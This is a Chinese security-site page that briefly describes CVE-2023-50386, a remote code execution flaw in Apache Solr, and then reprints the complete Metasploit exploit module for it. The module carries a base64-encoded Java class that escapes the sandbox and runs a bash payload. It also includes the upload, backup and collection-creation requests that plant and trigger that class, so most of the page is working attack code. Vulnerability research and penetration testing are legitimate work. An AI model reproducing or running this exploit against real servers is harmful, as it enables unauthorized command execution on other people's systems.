标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-3397]   作者: Candy 发表于: [2024-04-26]

本文共 [281] 位读者顶过

Apache Solr 版本 6.0.0 至 8.11.2 和版本 9.0.0 至 9.4.1 受到不受限制的文件上传漏洞的影响,该漏洞可能导致在运行 Apache Solr 的用户上下文中远程执行代码。当 Apache Solr 创建一个 Collection 时,它将使用一个特定的目录作为类路径,并从中加载一些类。Collection 的备份功能可以将攻击者上传的恶意类文件导出到目录下,允许 Solr 加载自定义类并创建任意 Java 代码。执行可以进一步绕过 Solr 配置的 Java 沙箱,最终导致任意命令执行。 [出自:jiwo.org]


##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Java
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::ApacheSolr
 
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache Solr Backup/Restore APIs RCE',
        'Description' => %q{
          Apache Solr from 6.0.0 through 8.11.2, from 9.0.0 before 9.4.1 is affected by an Unrestricted Upload of File
          with Dangerous Type vulnerability which can result in remote code execution in the context of the user running
          Apache Solr. When Apache Solr creates a Collection, it will use a specific directory as the classpath and load
          some classes from it. The backup function of the Collection can export malicious class files uploaded by
          attackers to the directory, allowing Solr to load custom classes and create arbitrary Java code. Execution
          can further bypass the Java sandbox configured by Solr, ultimately causing arbitrary command execution.
        },
        'Author' => [
          'l3yx', # discovery
          'jheysel-r7' # module
        ],
        'References' => [
          [ 'URL', 'https://xz.aliyun.com/t/13637?time__1311=mqmxnQ0QiQi%3DDtKDsD7md0%3DnxeqjghDMxTD'],
          [ 'URL', 'https://github.com/rapid7/metasploit-framework/issues/18919'],
          [ 'URL', 'https://github.com/vvmdx/Apache-Solr-RCE_CVE-2023-50386_POC'],
          [ 'CVE', '2023-50386']
        ],
        'License' => MSF_LICENSE,
        'Platform' => %w[unix linux],
        'Privileged' => false,
        'Arch' => [ ARCH_CMD ],
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD
            }
          ]
        ],
        'Payload' => {
          'BadChars' => "\x20"
        },
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'FETCH_WRITABLE_DIR' => '/tmp/'
        },
        'DisclosureDate' => '2024-02-24',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )
 
    register_options(
      [
        Opt::RPORT(8983),
        OptString.new('USERNAME', [false, 'Solr username', 'solr']),
        OptString.new('PASSWORD', [false, 'Solr password']),
        OptString.new('TARGETURI', [false, 'Path to Solr', 'solr']),
      ]
    )
  end
 
  # If authentication is used
  @auth_string = ''
 
  def check
    print_status('Running check method')
    auth_res = solr_check_auth
    unless auth_res
      return CheckCode::Unknown('Authentication failed!')
    end
 
    # convert to JSON
    ver_json = auth_res.get_json_document
    # get Solr version
    solr_version = Rex::Version.new(ver_json['lucene']['solr-spec-version'])
    print_status("Found Apache Solr #{solr_version}")
    # get OS version details
    @target_platform = ver_json['system']['name']
    target_arch = ver_json['system']['arch']
    target_osver = ver_json['system']['version']
    print_status("OS version is #{@target_platform} #{target_arch} #{target_osver}")
 
    unless solr_version.between?(Rex::Version.new('6.0.0'), Rex::Version.new('8.11.2')) ||
           solr_version.between?(Rex::Version.new('9.0.0'), Rex::Version.new('9.4.0'))
      return CheckCode::Safe('Running version of Solr is not vulnerable!')
    end
 
    CheckCode::Appears("Found Apache Solr version: #{ver_json['lucene']['solr-spec-version']}")
  end
 
  # This method returns the compiled byte code of the following class, SourceParser.java:
  #
  # package zk_backup_0.configs.confname;
  #
  # import sun.misc.Unsafe;
  # import java.io.BufferedReader;
  # import java.io.File;
  # import java.io.FileOutputStream;
  # import java.io.InputStreamReader;
  # import java.lang.reflect.Field;
  # import java.lang.reflect.Method;
  # import java.security.ProtectionDomain;
  # import java.util.Map;
  #
  #
  # public class SourceParser {
  #
  #     static {
  #         try {
  #             Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
  #             unsafeField.setAccessible(true);
  #             Unsafe unsafe = (Unsafe) unsafeField.get(null);
  #             Module module = Object.class.getModule();
  #             Class<?> currentClass = SourceParser.class;
  #             long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
  #             unsafe.getAndSetObject(currentClass, addr, module);
  #
  #             String[] cmd = {"bash", "-c", "METASPLOIT_PAYLOAD" };
  #             Class clz = Class.forName("java.lang.ProcessImpl");
  #             Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
  #             method.setAccessible(true);
  #             Process process = (Process) method.invoke(clz, cmd, null, null, null, false);
  #         } catch (Exception e) {
  #             e.printStackTrace();
  #         }
  #     }
  # }
  def go_go_gadget(configuration1_name)
    gadget = ''
    gadget << 'yv66vgAAAD0AaQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClW'
    gadget << 'BwAIAQAPc3VuL21pc2MvVW5zYWZlCAAKAQAJdGhlVW5zYWZlCgAMAA0HAA4MAA8AEAEAD2phdmEv'
    gadget << 'bGFuZy9DbGFzcwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZh'
    gadget << 'L2xhbmcvcmVmbGVjdC9GaWVsZDsKABIAEwcAFAwAFQAWAQAXamF2YS9sYW5nL3JlZmxlY3QvRmll'
    gadget << 'bGQBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgoAEgAYDAAZABoBAANnZXQBACYoTGphdmEvbGFuZy9P'
    gadget << 'YmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoADAAcDAAdAB4BAAlnZXRNb2R1bGUBABQoKUxqYXZh'
    gadget << 'L2xhbmcvTW9kdWxlOwcAIAEAKXprX2JhY2t1cF8wL2NvbmZpZ3MvY29uZm5hbWUvU291cmNlUGFy'
    gadget << 'c2VyCAAiAQAGbW9kdWxlCgAHACQMACUAJgEAEW9iamVjdEZpZWxkT2Zmc2V0AQAcKExqYXZhL2xh'
    gadget << 'bmcvcmVmbGVjdC9GaWVsZDspSgoABwAoDAApACoBAA9nZXRBbmRTZXRPYmplY3QBADkoTGphdmEv'
    gadget << 'bGFuZy9PYmplY3Q7SkxqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHACwBABBq'
    gadget << 'YXZhL2xhbmcvU3RyaW5nCAAuAQAEYmFzaAgAMAEAAi1jCAAyAQASTUVUQVNQTE9JVF9QQVlMT0FE'
    gadget << 'CAA0AQAVamF2YS5sYW5nLlByb2Nlc3NJbXBsCgAMADYMADcAOAEAB2Zvck5hbWUBACUoTGphdmEv'
    gadget << 'bGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7CAA6AQAFc3RhcnQHADwBABNbTGphdmEvbGFu'
    gadget << 'Zy9TdHJpbmc7BwA+AQANamF2YS91dGlsL01hcAcAQAEAJFtMamF2YS9sYW5nL1Byb2Nlc3NCdWls'
    gadget << 'ZGVyJFJlZGlyZWN0OwkAQgBDBwBEDABFAEYBABFqYXZhL2xhbmcvQm9vbGVhbgEABFRZUEUBABFM'
    gadget << 'amF2YS9sYW5nL0NsYXNzOwoADABIDABJAEoBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9s'
    gadget << 'YW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsK'
    gadget << 'AEwAEwcATQEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAoAQgBPDABQAFEBAAd2YWx1ZU9mAQAW'
    gadget << 'KFopTGphdmEvbGFuZy9Cb29sZWFuOwoATABTDABUAFUBAAZpbnZva2UBADkoTGphdmEvbGFuZy9P'
    gadget << 'YmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAFcBABFqYXZhL2xh'
    gadget << 'bmcvUHJvY2VzcwcAWQEAE2phdmEvbGFuZy9FeGNlcHRpb24KAFgAWwwAXAAGAQAPcHJpbnRTdGFj'
    gadget << 'a1RyYWNlAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJs'
    gadget << 'ZQEAClNvdXJjZUZpbGUBABFTb3VyY2VQYXJzZXIuamF2YQEADElubmVyQ2xhc3NlcwcAZQEAIWph'
    gadget << 'dmEvbGFuZy9Qcm9jZXNzQnVpbGRlciRSZWRpcmVjdAcAZwEAGGphdmEvbGFuZy9Qcm9jZXNzQnVp'
    gadget << 'bGRlcgEACFJlZGlyZWN0ACEAHwACAAAAAAACAAEABQAGAAEAXQAAAB0AAQABAAAABSq3AAGxAAAA'
    gadget << 'AQBeAAAABgABAAAADgAIAF8ABgABAF0AAAEaAAYACgAAAK8SBxIJtgALSyoEtgARKgG2ABfAAAdM'
    gadget << 'EgK2ABtNEh9OKxIMEiG2AAu2ACM3BCstFgQstgAnVwa9ACtZAxItU1kEEi9TWQUSMVM6BhIzuAA1'
    gadget << 'OgcZBxI5CL0ADFkDEjtTWQQSPVNZBRIrU1kGEj9TWQeyAEFTtgBHOggZCAS2AEsZCBkHCL0AAlkD'
    gadget << 'GQZTWQQBU1kFAVNZBgFTWQcDuABOU7YAUsAAVjoJpwAISyq2AFqxAAEAAACmAKkAWAACAF4AAABC'
    gadget << 'ABAAAAASAAgAEwANABQAFgAVABwAFgAfABcALAAYADUAGgBKABsAUQAcAHgAHQB+AB4ApgAhAKkA'
    gadget << 'HwCqACAArgAiAGAAAAAJAAL3AKkHAFgEAAIAYQAAAAIAYgBjAAAACgABAGQAZgBoBAk='
    gadget = Rex::Text.decode_base64(gadget)
    # Replace 'confname' with our randomized 8 character configuration name
    gadget.sub!('confname', configuration1_name)
    # Replace the placeholder payload with our packed payload which is prefixed with it's size.
    gadget.sub!("\x00\x12METASPLOIT_PAYLOAD", packed_payload(payload.encoded))
  end
 
  def packed_payload(pload)
    "#{[pload.length].pack('n')}#{pload}"
  end
 
  def create_zip
    zip_file = Rex::Zip::Archive.new
    directory_to_zip = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'conf')
 
    Dir.glob(File.join(directory_to_zip, '**', '*')).each do |file_path|
      if File.file?(file_path)
        relative_path = file_path.sub("#{directory_to_zip}/", '') # Get relative path
        file_contents = File.read(file_path)
        zip_file.add_file(relative_path, file_contents)
      elsif File.directory?(file_path)
        relative_path = file_path.sub("#{directory_to_zip}/", '') # Get relative path
        zip_file.add_file(relative_path, nil, recursive: true)
      end
    end
 
    zip_file
  end
 
  def upload_conf(file_name, zip_archive, conf_name)
    mime = Rex::MIME::Message.new
    mime.add_part(zip_archive, 'application/octet-stream', 'binary', "form-data; filename=\"#{file_name}\"")
 
    res = solr_post({
      'uri' => normalize_uri(target_uri.path, 'admin', 'configs'),
      'method' => 'POST',
      'ctype' => 'application/octet-stream',
      'data' => zip_archive,
      'auth' => @auth_string,
      'vars_get' => {
        'action' => 'UPLOAD',
        'name' => conf_name
      }
    })
 
    fail_with(Failure::UnexpectedReply, 'No response from the target') unless res
    fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200
 
    data = res.get_json_document
    if data.dig('responseHeader', 'status') == 0
      print_good('Uploaded configuration successfully')
    elsif data.dig('error', 'msg')
      fail_with(Failure::UnexpectedReply, "Failed to upload configuration. Target responded with error: #{data['error']['msg']}")
    else
      fail_with(Failure::UnexpectedReply, "Failed to upload configuration: #{conf_name} to the target")
    end
    res
  end
 
  def create_collection(collection_name, configuration_name)
    solr_get({
      'uri' => normalize_uri(target_uri.path, 'admin', 'collections'),
      'method' => 'GET',
      'auth' => @auth_string,
      'vars_get' => {
        'action' => 'CREATE',
        'name' => collection_name,
        'numShards' => 1,
        'replicationFactor' => 1,
        'wt' => 'json',
        'collection.configName' => configuration_name
      }
    })
  end
 
  def backup_collection(collection_name, location, backup_name)
    res = solr_get({
      'uri' => normalize_uri(target_uri.path, 'admin', 'collections'),
      'method' => 'GET',
      'auth' => @auth_string,
      'vars_get' => {
        'action' => 'BACKUP',
        'collection' => collection_name,
        'location' => location,
        'name' => backup_name
      }
    })
 
    fail_with(Failure::UnexpectedReply, 'No response from the target') unless res
 
    data = res.get_json_document
 
    if data.dig('responseHeader', 'status') == 0
      print_good('Backed up collection successfully')
    elsif data.dig('error', 'msg')
      fail_with(Failure::UnexpectedReply, "Failed to Backup configuration. Target responded with error: #{data['error']['msg']}")
    else
      fail_with(Failure::UnexpectedReply, "Failed to create collection: #{collection_name} successfully")
    end
    res
  end
 
  def cleanup
    print_status('Cleaning up...')
 
    # Clean up collections and configurations
    # Delete the collection first then the configs or you'll get the following error:
    # "Can not delete ConfigSet as it is currently being used by collection [PchuSaNJ]"
    if @collection_res&.code == 200
      delete_collection_res = solr_get({
        'uri' => normalize_uri(target_uri.path, 'admin', 'collections'),
        'method' => 'GET',
        'auth' => @auth_string,
        'vars_get' => {
          'action' => 'DELETE',
          'name' => @collection1_name
        }
      })
      print_error("Unable to delete collection: #{@collection1_name}") unless delete_collection_res&.code == 200
    end
 
    if @conf1_res&.code == 200
      delete_conf1_res = solr_get({
        'uri' => normalize_uri(target_uri.path, 'admin', 'configs'),
        'method' => 'GET',
        'auth' => @auth_string,
        'vars_get' => {
          'action' => 'DELETE',
          'name' => @configuration1_name
        }
      })
      print_error("Unable to delete config: #{@configuration1_name}") unless delete_conf1_res&.code == 200
    end
 
    if @conf2_res&.code == 200
      delete_conf2_res = solr_get({
        'uri' => normalize_uri(target_uri.path, 'admin', 'configs'),
        'method' => 'GET',
        'auth' => @auth_string,
        'vars_get' => {
          'action' => 'DELETE',
          'name' => @configuration2_name
        }
      })
      print_error("Unable to delete config: #{@configuration2_name}") unless delete_conf2_res&.code == 200
    end
  end
 
  def exploit
    @collection1_name = Rex::Text.rand_text_alpha(8)
    @configuration1_name = Rex::Text.rand_text_alpha_lower(8)
    @collection2_name = Rex::Text.rand_text_alpha(8)
 
    # Zip up conf1
    conf1_zip = create_zip
    conf1_zip.add_file('SourceParser.class', go_go_gadget(@configuration1_name))
    conf1_zip.add_file('solrconfig.xml', File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'solrconfig.xml')))
 
    # Upload conf1
    @conf1_res = upload_conf(@configuration1_name + '.zip', conf1_zip.pack, @configuration1_name)
 
    # Create collection from conf1
    @collection_res = create_collection(@collection1_name, @configuration1_name)
 
    fail_with(Failure::UnexpectedReply, 'No response from the target') unless @collection_res
    data = @collection_res.get_json_document
    if @collection_res.code == 200 && data['responseHeader']['status'] == 0
      vprint_good('Created collection successfully')
    elsif data['error']['msg']
      fail_with(Failure::UnexpectedReply, "Failed to upload configuration. Target responded with error: #{data['error']['msg']}")
    else
      fail_with(Failure::UnexpectedReply, "Failed to create collection: #{collection_name} successfully")
    end
 
    # Backup collection and export conf1
    location = '/var/solr/data/'
    backup_name = "#{@collection2_name}_shard1_replica_n1"
    backup_collection(@collection1_name, location, backup_name)
 
    # Now you need to export it again through the backup and interface `collection1` note the changes in `location` and `name`:
    location = "/var/solr/data/#{backup_name}"
    backup_name = 'lib'
    backup_collection(@collection1_name, location, backup_name)
 
    # Zip up conf2
    conf2_zip = create_zip
    editted_solrconfig = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'solrconfig.xml'))
    editted_solrconfig = editted_solrconfig.gsub('</config>', "     <valueSourceParser name=\"myfunc\" class=\"zk_backup_0.configs.#{@configuration1_name}.SourceParser\" />\n</config>")
    conf2_zip.add_file('solrconfig.xml', editted_solrconfig)
 
    # Upload conf2
    @configuration2_name = Rex::Text.rand_text_alpha(8)
    @conf2_res = upload_conf('conf2.zip', conf2_zip.pack, @configuration2_name)
 
    # Attempt to create a collection from conf2 which will load the SourceParser.class we uploaded as a port of the
    # first conf1 which will then cause an error as it executes our malicious class (the collection does not get created)
    res = create_collection(@collection2_name, @configuration2_name)
 
    fail_with(Failure::UnexpectedReply, 'No response from the target') unless res
    data = res&.get_json_document
    if res.code == 400 && data['error']['msg'] == "Underlying core creation failed while creating collection: #{@collection2_name}"
      print_good('Successfully dropped the payload')
    else
      fail_with(Failure::UnexpectedReply, "Failed to create collection: #{@configuration2_name} successfully")
    end
  end
end

评论

暂无
发表评论
 返回顶部 
热度(281)
 关注微信